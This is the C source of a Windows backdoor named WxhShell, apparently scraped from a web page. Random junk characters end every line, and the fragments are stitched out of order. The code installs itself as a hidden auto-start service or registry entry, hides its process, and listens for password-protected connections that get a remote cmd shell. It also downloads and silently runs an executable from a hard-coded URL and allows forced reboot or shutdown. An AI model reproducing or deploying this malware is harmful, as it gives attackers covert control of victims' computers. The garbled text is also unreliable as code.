    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F :6SPY y  
    if(Boot(SHUTDOWN)) PjN =k;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )xb|3&+W  
    else { %pXAeeSY`;  
    closesocket(wsh); -hkQ2[Ew#  
    ExitThread(0); !QDQ_  
    } -l%J/:  
    break; )5|I_PXB  
    } lN9=TxH1(;  
  // 获取shell c1%H4j4/  
  case 's': { "R8KQj  
    CmdShell(wsh); ho>k$s?  
    closesocket(wsh); Yq(G;mjM  
    ExitThread(0); rHP%0f 9:  
    break; lo'W1p  
  } rp5(pV 7*  
  // 退出 c\% r38  
  case 'x': { E*?<KZe"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v\`9;QV5  
    CloseIt(wsh); t%530EB3  
    break; o !4!"O'E  
    } %T7nO%p  
  // 离开 *Z_C4Tj  
  case 'q': { )"+(butI&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >a3p >2  
    closesocket(wsh); 3BpZX`l*p  
    WSACleanup(); Cuc$3l(%  
    exit(1); g#]wLm#  
    break;  ^xPmlS;X  
        } aTf`BG{kw  
  } j[Uxa   
  } v:+ ~9w+  
G|\^{ 5   
  // 提示信息 5XLs} :  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \P1=5rP  
} m!U9m  
  } =!m}xdTP  
e L.(p k^<  
  return; ." $  
} w>b-} t  
TNJG#8n%Y  
// shell模块句柄 )/t?!T.[  
int CmdShell(SOCKET sock) sZ?mP;Q  
{ JF/,K"J  
STARTUPINFO si; 3OM2Y_  
ZeroMemory(&si,sizeof(si)); jSc#+_y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xAggn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w\}?(uO  
PROCESS_INFORMATION ProcessInfo; h_d<!  
char cmdline[]="cmd"; hVUP4 A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1n\ t+F  
  return 0; z4E|Ai  
} Ma| qHg  
WMMO5_M z  
// 自身启动模式 sKyPosnP  
int StartFromService(void) ^T~gEv  
{ 1wW)tNKIF  
typedef struct l]<L [Y,E-  
{ (RtueEb.~E  
  DWORD ExitStatus; ,YhdY 6  
  DWORD PebBaseAddress; `mT$s,:h  
  DWORD AffinityMask; gT/@dVV  
  DWORD BasePriority; [yj).*0  
  ULONG UniqueProcessId; fm~kM J  
  ULONG InheritedFromUniqueProcessId; K gN)JD>  
}   PROCESS_BASIC_INFORMATION; -YD+(c`l  
TPhTaKCio  
PROCNTQSIP NtQueryInformationProcess; 'Peni1_  
8>/Q1(q0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4d:{HLX,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e?bYjJ q  
5sPywk{  
  HANDLE             hProcess; wv^rS^~  
  PROCESS_BASIC_INFORMATION pbi; wM[~2C=vx  
}3R13   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^`f*'Z  
  if(NULL == hInst ) return 0; _lW+>xQ  
oUQ07z\C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #"fJa:IYG7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yl;^ k0ZI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vx_rc%'  
p$7#}s  
  if (!NtQueryInformationProcess) return 0; ?[x49Ux,P  
j]0^y}5f+s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $hxN hI  
  if(!hProcess) return 0; $(Ugtimdv  
+jC*'7p@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v}^5Rp&m  
qz4^{  
  CloseHandle(hProcess); ^[Cv26  
LflFe@2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ .i3,-l)  
if(hProcess==NULL) return 0; W(fr<<hL  
k#bu#YZk  
HMODULE hMod; Y,8KPg@W  
char procName[255]; fQ+VT|jzx  
unsigned long cbNeeded; 56hA]O29O  
g fU-"VpHE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hl&-\dc+  
#[MJ|^\i  
  CloseHandle(hProcess); TST4Vy3  
j\RpO'+}  
if(strstr(procName,"services")) return 1; // 以服务启动 ZV}X'qGaq  
0i[zup  
  return 0; // 注册表启动 Wl^R8w#Z$  
} :"0J=>PH:  
"x'),  
// 主模块 +&KQ28r  
int StartWxhshell(LPSTR lpCmdLine) zm9TvoC%}  
{ W&:[r/8wA  
  SOCKET wsl; b4Y8N"hL%  
BOOL val=TRUE; {+zJI-XN/  
  int port=0; l6[lJ0Y  
  struct sockaddr_in door; 1gO2C $  
=R*Gk4<Y  
  if(wscfg.ws_autoins) Install(); >95TvJ  
h!&sNzX  
port=atoi(lpCmdLine); z41_oG7   
(\puf+  
if(port<=0) port=wscfg.ws_port; YC_3n5F%  
:<#`_K~'  
  WSADATA data; ZA#y)z8!E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c.H?4j7ga  
Jeqxspn T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6*GjP ;S =  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N$?cX(|7  
  door.sin_family = AF_INET; \o3"~\|6C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c(- Mc6  
  door.sin_port = htons(port); $7I] `Jt  
|c-LSs'\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qUhRu>   
closesocket(wsl);  Kn+=lCk  
return 1; ^c9ThV.v  
} D_|B2gdZY  
:s8A:mx  
  if(listen(wsl,2) == INVALID_SOCKET) { YTY%#"  
closesocket(wsl); aj|5 #  
return 1; v@ONo?)  
} d+z[\i  
  Wxhshell(wsl); h"QbA"  
  WSACleanup(); (0*v*kYdL+  
Zcd7*EBdx  
return 0; O{KB0"s>i  
`rWB`q|i<  
} V*B0lI7`B  
!awh*Xj6  
// 以NT服务方式启动 sz09+4h#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F1|zXg)  
{ [J\DB)V/  
DWORD   status = 0; ui.'^F<  
  DWORD   specificError = 0xfffffff; Mps *}9  
G_oX5:J*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }6~)bLzI}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #0MK(Ut/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M|CrBJv+F  
  serviceStatus.dwWin32ExitCode     = 0; ^JhFI*  
  serviceStatus.dwServiceSpecificExitCode = 0; LZWS^77  
  serviceStatus.dwCheckPoint       = 0; uIP iM8(  
  serviceStatus.dwWaitHint       = 0; +BB0wY  
5}<[[}(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [%.18FWI  
  if (hServiceStatusHandle==0) return; (-(*XNC  
>_Uj?F:  
status = GetLastError(); OAok  
  if (status!=NO_ERROR) ' Js?N  
{ `mErF%b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^tE_LL+ji|  
    serviceStatus.dwCheckPoint       = 0; GJak.,0t  
    serviceStatus.dwWaitHint       = 0; oa0X5}D  
    serviceStatus.dwWin32ExitCode     = status; 9y+[o  
    serviceStatus.dwServiceSpecificExitCode = specificError; $Xt;A&l2?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6+%-GgPf  
    return; Pf8u/?/  
  } 7Dl%UG]  
e{t=>vry  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {,f[r*{Y  
  serviceStatus.dwCheckPoint       = 0; ;QidDi_s>  
  serviceStatus.dwWaitHint       = 0; q z:]-A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h*'d;_(,  
} ~PYFYjHC  
>-<F)  
// 处理NT服务事件,比如:启动、停止 nO_!:6o".  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F!R2_89iy  
{ jM\ %$_/  
switch(fdwControl) [a NhP;<  
{ p"KV*D9b  
case SERVICE_CONTROL_STOP: e`ex]py<C  
  serviceStatus.dwWin32ExitCode = 0; c!~T2t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U?EG6t  
  serviceStatus.dwCheckPoint   = 0; =~",/I?  
  serviceStatus.dwWaitHint     = 0; VKf6|ae  
  {  8bbVbP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [0(mFMC`  
  } ]-EN/V  
  return; &E]"c]i+  
case SERVICE_CONTROL_PAUSE: !OQuEJR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0x4l5x$8  
  break; >Qk97we'9  
case SERVICE_CONTROL_CONTINUE: ecT]p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HqRCjD  
  break; R25-/6_V>  
case SERVICE_CONTROL_INTERROGATE: 9/Wn!Ld  
  break; (k#t }B[  
}; ?Hk.|5A}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C,3T!\  
} .> ,Z k S  
:P"9;$FY  
// 标准应用程序主函数 _0*=u$~R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =ty2_6&>  
{ U-ULQ|6U  
}M="oN~w  
// 获取操作系统版本 ja:\W\xhJ  
OsIsNt=GetOsVer(); +ruj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XJ _%!  
_&=9Ke  
  // 从命令行安装 ?qIGQ/af&  
  if(strpbrk(lpCmdLine,"iI")) Install(); r=|vad$  
$ JuLAqq  
  // 下载执行文件 3} l;  
if(wscfg.ws_downexe) { Upu%.[7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {YfYIt=.  
  WinExec(wscfg.ws_filenam,SW_HIDE); F-i&M1 \_  
} " _mmR M  
 @}Pw0vC  
if(!OsIsNt) { |B,dEx/uU  
// 如果时win9x,隐藏进程并且设置为注册表启动 np= J:v4  
HideProc(); ={OCa1  
StartWxhshell(lpCmdLine); pM,#wYL  
} sAf9rZt*'  
else vDWr|M%``l  
  if(StartFromService()) MR[N6E6Mg  
  // 以服务方式启动 2Sv>C `FMU  
  StartServiceCtrlDispatcher(DispatchTable); ,Qga|n8C  
else ~y`Pwj  
  // 普通方式启动 &(GopWR`e  
  StartWxhshell(lpCmdLine);  hgNY[,  
Un~]Q?w  
return 0; ;k-g _{M  
} xMLrLXy  
x!Y(Y=i>  
hLCsQYNDU  
01'y^`\xQ  
=========================================== .`b4h"g:  
JB641nv  
oXvdR(Sb^  
T,A!5V>cX  
7O]J^H+7  
:LU"5g  
" +0pgq (  
LNWqgIq  
#include <stdio.h> Xq[:GUnt  
#include <string.h> <aD'$(N5  
#include <windows.h> j0Id!o  
#include <winsock2.h> x;<oaT$X  
#include <winsvc.h> 't||F1X~J  
#include <urlmon.h> 9<+;hH8J_r  
qQwJJjf  
#pragma comment (lib, "Ws2_32.lib") L.R"~3  
#pragma comment (lib, "urlmon.lib") -Y5YCY!`  
ee4KMS  
#define MAX_USER   100 // 最大客户端连接数 "FD<^  
#define BUF_SOCK   200 // sock buffer #JHy[!4  
#define KEY_BUFF   255 // 输入 buffer qiF@7i  
3RBpbTNWp  
#define REBOOT     0   // 重启 ^p{A!I!  
#define SHUTDOWN   1   // 关机 WV5r$   
r@N39O*Wq  
#define DEF_PORT   5000 // 监听端口 l"2^S6vU  
WsG"x>1n  
#define REG_LEN     16   // 注册表键长度 tg4LE?nv  
#define SVC_LEN     80   // NT服务名长度 P]~N-xdV  
we6+2  
// 从dll定义API [flu |v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5P5A,K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cij]&$;Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }3 fLV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B]+7 JB  
0:7v/S!:  
// wxhshell配置信息 Ngm O0H  
struct WSCFG { c+)36/; X  
  int ws_port;         // 监听端口 "t3uW6&  
  char ws_passstr[REG_LEN]; // 口令 r_qncy,F  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4eDmLC"Y *  
  char ws_regname[REG_LEN]; // 注册表键名 UBUB/N Y  
  char ws_svcname[REG_LEN]; // 服务名 gNMKGf\Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (6b?ir~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -+j9X;h:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 op.PS{_t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  :V5!C$QV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XZUB*P}]D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xy3g(x]  
T2/v}  
}; sp=7Kh?|>  
@M1yBN  
// default Wxhshell configuration X-*KQ+ ?  
struct WSCFG wscfg={DEF_PORT, Kd AR)EU>  
    "xuhuanlingzhe", 8S[ <[CH  
    1, IxK 3,@d  
    "Wxhshell", eE#81]'6a  
    "Wxhshell", )Ta]6  
            "WxhShell Service", ur~Tql  
    "Wrsky Windows CmdShell Service", W[jW;uk  
    "Please Input Your Password: ", @vQ;>4i.  
  1, P@! Q1pr  
  "http://www.wrsky.com/wxhshell.exe", ~]6Oz;~<3  
  "Wxhshell.exe" ^G7n#  
    }; Kc-A-P &Ry  
fed[^wW  
// 消息定义模块 $Nt]${0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y$r?t0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3LmBV\["  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ue>A  
char *msg_ws_ext="\n\rExit."; Hjo:;s  
char *msg_ws_end="\n\rQuit."; ] fwTi(4y  
char *msg_ws_boot="\n\rReboot..."; $J;=Ux)$  
char *msg_ws_poff="\n\rShutdown..."; q)z1</B-  
char *msg_ws_down="\n\rSave to "; +"N<-  
C7fi1~  
char *msg_ws_err="\n\rErr!"; !,-qn)b  
char *msg_ws_ok="\n\rOK!"; )n3bi QL_  
CpP$HrQ  
char ExeFile[MAX_PATH]; k{u%p<  
int nUser = 0; zM9).D H  
HANDLE handles[MAX_USER]; 8en#PH }  
int OsIsNt; %8`1Li6g  
!!D:V`F/d  
SERVICE_STATUS       serviceStatus; 5>z:[OdY*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3Oig/KZ  
*{D:1S  
// 函数声明 ,{mf+ 3&$,  
int Install(void); E#HU?<q8  
int Uninstall(void); K&"Pm9  
int DownloadFile(char *sURL, SOCKET wsh); ~1wdAq`'a  
int Boot(int flag); ~M9 n<kmE  
void HideProc(void); PUFW^"LV  
int GetOsVer(void); 4[f7X4d$  
int Wxhshell(SOCKET wsl); t2-zJJf8  
void TalkWithClient(void *cs); `$x#_-Hn  
int CmdShell(SOCKET sock); c_8mQ  
int StartFromService(void); &0<R:K?>N  
int StartWxhshell(LPSTR lpCmdLine); *IO;`k q,;  
Iy1X nS*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J/P@m_Yx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z&HN>7  
$nd-[xV  
// 数据结构和表定义 51(`wo>LS  
SERVICE_TABLE_ENTRY DispatchTable[] = RT+30Q?  
{ &fNE9peQFa  
{wscfg.ws_svcname, NTServiceMain}, I>4Tbwy.-  
{NULL, NULL} 0 f#a_  
}; .Mft+,"  
"62Ysapq+  
// 自我安装 p$!+2=)gY  
int Install(void) Z-sN4fr a  
{ 2.L6]^N p(  
  char svExeFile[MAX_PATH]; 8!fAv$g0  
  HKEY key; &+r ;>  
  strcpy(svExeFile,ExeFile); Vi -!E  
+nyN+X34B  
// 如果是win9x系统,修改注册表设为自启动 'FA)LuAok  
if(!OsIsNt) { yLa5tv/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tS/APSY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d~f0]O  
  RegCloseKey(key); AiHDoV+-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mM^8YL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U!UX"r  
  RegCloseKey(key); A5H8+gATK  
  return 0; wTuRo J  
    } }PD(kk6fX  
  } mbG^fy'  
} -clg 'Aa;.  
else { m_ONsZHy  
i$<v*$.o  
// 如果是NT以上系统,安装为系统服务 )^2jsy -/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !rmo*-=^=  
if (schSCManager!=0) ( =/L#Yg_  
{ ]be2jQx3  
  SC_HANDLE schService = CreateService z8[|LF-dx  
  ( *wZV*)}  
  schSCManager, EjCzou  
  wscfg.ws_svcname, .?)oiPW#  
  wscfg.ws_svcdisp, ZjbG&oc  
  SERVICE_ALL_ACCESS, WD`{kqc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IG@&l0ARL  
  SERVICE_AUTO_START, .8xacVyK2  
  SERVICE_ERROR_NORMAL, F"? *@L  
  svExeFile, !_z>w6uR  
  NULL, gK_[3FiKt  
  NULL, ] Lft^,7  
  NULL, qBrZg  
  NULL, /faP]J)  
  NULL (zODV4,5k`  
  ); +GtGyp  
  if (schService!=0) _; RD-kv  
  { EF{'J8AQ  
  CloseServiceHandle(schService); otVdx&%]  
  CloseServiceHandle(schSCManager); ,'DrFlI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f;dU72]q+  
  strcat(svExeFile,wscfg.ws_svcname); Mp}NUQHE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /3%xQK>%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tdK^X1  
  RegCloseKey(key); 6HQwL\r79  
  return 0; $d[:4h~  
    } 'U Cx^-  
  } AQU: 0  
  CloseServiceHandle(schSCManager); ]KT,s].  
} epyYo&x}  
} l:}4 6%  
f=Y9a$.:M  
return 1; wA&)y>n-  
} o fv 1G=P  
)f&]H}  
// 自我卸载 QP0X8%+p  
int Uninstall(void) I"?&X4%e  
{ Qn&^.e9I  
  HKEY key; 6;V 1PK>9  
K<(sqH  
if(!OsIsNt) { ?saVk7Z[|5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mc^7FWkw  
  RegDeleteValue(key,wscfg.ws_regname); [p<[83' ]  
  RegCloseKey(key); =%G[vm/-)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P#oV ^  
  RegDeleteValue(key,wscfg.ws_regname); 1"PE@!]  
  RegCloseKey(key); iP_Xr~w  
  return 0; (j"MsCwE  
  } TnAX;+u  
} 3&:fS|L~c  
} S`.-D+.68  
else { ZM!~M>B9R  
L@GD$F=<0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =1Jo-!{{  
if (schSCManager!=0) l))IO`s=_  
{ M lwQ_5O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8 \Oiv$r  
  if (schService!=0) k JFHUR  
  { CgE5;O  
  if(DeleteService(schService)!=0) { 6>J #M  
  CloseServiceHandle(schService); 1^dWmxUZH  
  CloseServiceHandle(schSCManager); [hbIv   
  return 0; Wno5B/V  
  } A>yIH)b  
  CloseServiceHandle(schService); gvYs<,:  
  } `h6W@ROb  
  CloseServiceHandle(schSCManager); m,O !M t  
} G> >_G<x  
} g7i6Yj1  
\$"Xr  
return 1; IrC=9%pd$R  
} Eq{TZV  
O?Tg`]EX  
// 从指定url下载文件 ?Q2pD!L{  
int DownloadFile(char *sURL, SOCKET wsh) CXZeL 1+  
{ ]+P &Y:   
  HRESULT hr; _#B/# ^a  
char seps[]= "/"; *Cw2h  
char *token; X3yr6J[ ^  
char *file; Y[4B{  
char myURL[MAX_PATH]; 5{Wl(jwb  
char myFILE[MAX_PATH]; >Z% `&D~u  
0 HmRl  
strcpy(myURL,sURL); )/'s& D  
  token=strtok(myURL,seps); I "4B1g  
  while(token!=NULL) _(foJRr  
  { TZg7BLfy  
    file=token; ej+!|97M  
  token=strtok(NULL,seps); mZyTo/\0  
  } `>Cx!sYhV  
h;->i]  
GetCurrentDirectory(MAX_PATH,myFILE); QL#y)G53Q  
strcat(myFILE, "\\"); !=:c8V  
strcat(myFILE, file); 0J~4  
  send(wsh,myFILE,strlen(myFILE),0); iY-dM(_:]  
send(wsh,"...",3,0); CCV~nf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5mU_S\)4:z  
  if(hr==S_OK) ;H lv  
return 0; .E&~]<  
else j7&l&)5  
return 1; /Ny&;Y  
$]FWpr%)  
} F*f)Dv$p  
0N.*c  
// 系统电源模块 ,ME9<3Ac  
int Boot(int flag) tF|bxXs Z  
{ e 3K  
  HANDLE hToken; bb{+  
  TOKEN_PRIVILEGES tkp; RulIzv  
D_Y;N3E/rS  
  if(OsIsNt) { N!AFsWV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z( wXs&z;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !r<7]nwV  
    tkp.PrivilegeCount = 1; 7F.,Xvw&@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :Lx]`dSk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <mN3:G  
if(flag==REBOOT) { 5 S 1m&s5k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \1Zf Sc  
  return 0; tz,FK;8  
} k;sUDmrO  
else { ~J|0G6H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LdOB[W  
  return 0; utr_fFu  
} DxlX-  
  } {#vo^& B  
  else { ]Uu/1TTf  
if(flag==REBOOT) { 157X0&EX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b}fH$.V@  
  return 0; r$KDNa$/a  
} wQ5__"D  
else { + '`RJ,K+[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *4ID$BmO  
  return 0; %^S1 fUwT  
} n#*cVB81  
} FB@G.f  
&b_duWs  
return 1; IY'S<)vOY  
} wNlp4Z'[  
0^+W"O  
// win9x进程隐藏模块 mU!c;O  
void HideProc(void) %]-tA,u  
{ 344- ~i*  
%lBFj/B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i[B%:q:&  
  if ( hKernel != NULL ) ,D8 Tca\v  
  { 1peN@Yk2W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8 =d9*lm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YJ6Xq||_  
    FreeLibrary(hKernel); u7S7lR"lxW  
  } ){v nmJJ%  
avQwbAh[  
return; .m .v$(  
} "h "vp&A  
r_QWt1K  
// 获取操作系统版本 =vR>KE  
int GetOsVer(void) CGQ`i  
{ ='(:fHhhX  
  OSVERSIONINFO winfo; Yv>% 5`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [ACa<U/  
  GetVersionEx(&winfo); dI`b AP;\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #<{sP 0v*  
  return 1; \Q]7Hw<  
  else G=DRz F  
  return 0; SJ<nAX  
} =oBV.BST u  
OmsNo0OA  
// 客户端句柄模块 7v{Dwg  
int Wxhshell(SOCKET wsl) D ,nF0p  
{ s q_ f[!  
  SOCKET wsh; J=  T!  
  struct sockaddr_in client; aPRF  
  DWORD myID; eKt~pzXwm  
iNcB6,++  
  while(nUser<MAX_USER) f|u!?NGl  
{ 0y*8;7-|r)  
  int nSize=sizeof(client); Pwf":U)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |Gz(q4  
  if(wsh==INVALID_SOCKET) return 1; f mf(5  
alyWp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  eGjEO&$  
if(handles[nUser]==0) -GH>12YP  
  closesocket(wsh); `2G 0B@  
else MGK%F#PM  
  nUser++; arm26YA-,  
  } D/v?nW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EW]rD  
XsEDI?p2  
  return 0; v#TU7v?~  
} f-^JI*hj  
c1Skt  
// 关闭 socket `@RTfBB g  
void CloseIt(SOCKET wsh) H>X:#xOA_  
{ iU+O(vi  
closesocket(wsh); )1N~-VuT  
nUser--; !ap}+_IA7^  
ExitThread(0); 9!; /+P  
} 1N,</<"  
>4 VN1 ^  
// 客户端请求句柄 G0)}?5L1J  
void TalkWithClient(void *cs) !c W6dc^  
{ ;?4EVZ#o  
B 1je Ik,  
  SOCKET wsh=(SOCKET)cs; FN\*x:g  
  char pwd[SVC_LEN]; }20~5!  
  char cmd[KEY_BUFF]; id+ ~ V  
char chr[1]; 9(6f:D  
int i,j; tnE),  
|0OY> 5  
  while (nUser < MAX_USER) { $t0o*i{  
2{|Z?3FJ^  
if(wscfg.ws_passstr) { 8 kvF~d ;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *O_>3Hgl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F/V -@SF  
  //ZeroMemory(pwd,KEY_BUFF); 6 dgwsl~  
      i=0; tTOBKA89  
  while(i<SVC_LEN) { z;DNl#|!L  
GHY+q{'#V_  
  // 设置超时 jIEntk  
  fd_set FdRead; 1%ENgb:8  
  struct timeval TimeOut; zX lcu_rc  
  FD_ZERO(&FdRead); w p\-LO~  
  FD_SET(wsh,&FdRead); >$,P )cB'  
  TimeOut.tv_sec=8; -U*J5Q  
  TimeOut.tv_usec=0; _iu~vU)r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P?p]sLrP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  LAkBf  
ClG\Kpi rh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {7jl) x3l  
  pwd=chr[0]; pT{is.RM  
  if(chr[0]==0xd || chr[0]==0xa) { d~ +(g!  
  pwd=0; "}MP{/  
  break; Qk? WX (`B  
  } 1w~PHH`~  
  i++; (n`] sbx  
    } \3OEC`  
M287Z[  
  // 如果是非法用户,关闭 socket P -NR]f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O}>@G  
} C$q};7b1N  
FQJiLb._Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a*-9n-U@[k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FRuPv6  
}f;WYz5  
while(1) { fcxg6W'  
oUwo!n}  
  ZeroMemory(cmd,KEY_BUFF); *?BY+0  
r1}^\C  
      // 自动支持客户端 telnet标准   ?r KbL^2  
  j=0; /v^ '5j1o  
  while(j<KEY_BUFF) { PChew3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6#7hMQ0&;O  
  cmd[j]=chr[0]; yUj`vu 2  
  if(chr[0]==0xa || chr[0]==0xd) { vn+XY =Qnr  
  cmd[j]=0; =WjHf8v;  
  break; ?TeozhUY  
  } w]t'2p-'  
  j++; 2HtsSS#0Q  
    } ffG<hclk  
a M9v  
  // 下载文件 VE-l6@`  
  if(strstr(cmd,"http://")) { Ly&+m+Gwu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kN.;;HFq#  
  if(DownloadFile(cmd,wsh)) *#'j0;2F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Yh;3tI4*  
  else ]o8]b7-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h*%FZ}}`q  
  } ?D6uviQg  
  else { \rF S^#  
:ZM9lBYh  
    switch(cmd[0]) { .26mB Xr  
  pASX-rb  
